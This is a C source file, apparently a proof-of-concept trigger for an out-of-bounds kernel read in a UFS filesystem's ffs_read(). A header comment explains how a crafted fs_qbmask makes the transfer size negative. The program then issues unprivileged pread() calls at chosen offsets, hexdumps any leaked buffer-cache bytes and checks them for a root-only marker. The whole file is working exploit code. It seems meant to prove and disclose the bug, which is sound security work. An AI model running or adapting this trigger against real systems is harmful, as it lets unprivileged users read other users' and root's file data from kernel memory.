/*
 * trigger.c - DF-3212 unprivileged OOB-read trigger (read side).
 *
 * Run as an unprivileged user against a file on the crafted-qbmask UFS.
 * Each pread() targets a REAL offset inside the file (offset < i_size), so
 * on a clean filesystem every one of them must return 512 zero bytes (the
 * file is all zeros).  On the crafted filesystem ffs_read() computes
 *
 *   blkoffset = uio_offset & fs_qbmask        (0x7ffff: up to 524286)
 *   xfersize  = bp->b_bufsize - blkoffset     (negative!)
 *   if (xfersize > uio_resid)                  size_t promotion: huge > n
 *       xfersize = uio_resid;                  clamp to small positive
 *   ...
 *   uiomovebp(bp, bp->b_data + blkoffset, xfersize, uio);
 *
 * (sys/vfs/ufs/ufs_readwrite.c:141-155) so the copy reads from
 * b_data + k*65536 + 0x123 -- k buffer-cache KVA slots (MAXBSIZE, 64KB,
 * sys/kern/vfs_bio.c:640) past the 8192-byte buffer.  Outcomes that are
 * impossible on a clean fs prove the OOB:
 *   - any non-zero bytes (adjacent slot mapped: leaks OTHER buffers' data)
 *   - -1/EFAULT (adjacent slot unmapped: source fault in uiomove)
 *
 * Success criterion: bytes of the root-only marker file appear in buf[].
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>

#define MARKER "DF3212-ROOT-SECRET-"

static void hexdump16(const unsigned char *p, int n){
	for (int i = 0; i < n; i += 16) {
		printf("    %04x  ", i);
		for (int j = 0; j < 16 && i + j < n; j++)
			printf("%02x ", p[i+j]);
		printf(" |");
		for (int j = 0; j < 16 && i + j < n; j++)
			printf("%c", (p[i+j] >= 32 && p[i+j] < 127) ? p[i+j] : '.');
		printf("|\n");
	}
}

int main(int argc, char **argv){
	const char *path = (argc > 1) ? argv[1] : "/mnt/test/leak.bin";
	int fd = open(path, O_RDONLY);
	if (fd < 0) { perror("open"); return 2; }

	unsigned char buf[512];
	int leaked = 0, nonzero = 0, efault = 0, clean = 0;
	for (int k = 1; k <= 15; k++) {
		off_t off = (off_t)k * 0x10000 + 0x123;
		memset(buf, 0, sizeof buf);
		errno = 0;
		ssize_t n = pread(fd, buf, sizeof buf, off);
		if (n < 0) {
			printf("k=%2d off=0x%06llx n=-1 errno=%d %s\n", k,
			       (unsigned long long)off, errno, strerror(errno));
			if (errno == EFAULT) efault++;
			continue;
		}
		printf("k=%2d off=0x%06llx n=%zd\n", k,
		       (unsigned long long)off, n);
		int isz = 1;
		for (ssize_t i = 0; i < n; i++) if (buf[i]) { isz = 0; break; }
		if (isz) { clean++; continue; }
		nonzero++;
		hexdump16(buf, 64);
		for (ssize_t i = 0; i + 19 <= n; i++)
			if (memcmp(buf + i, MARKER, 19) == 0) {
				printf("    *** ROOT-SECRET MARKER FOUND "
				       "at k=%d buf+%zd ***\n", k, i);
				leaked = 1;
				break;
			}
	}
	printf("SUMMARY nonzero=%d clean=%d efault=%d LEAK=%d\n",
	       nonzero, clean, efault, leaked);
	return leaked ? 0 : (nonzero || efault ? 1 : 3);
}
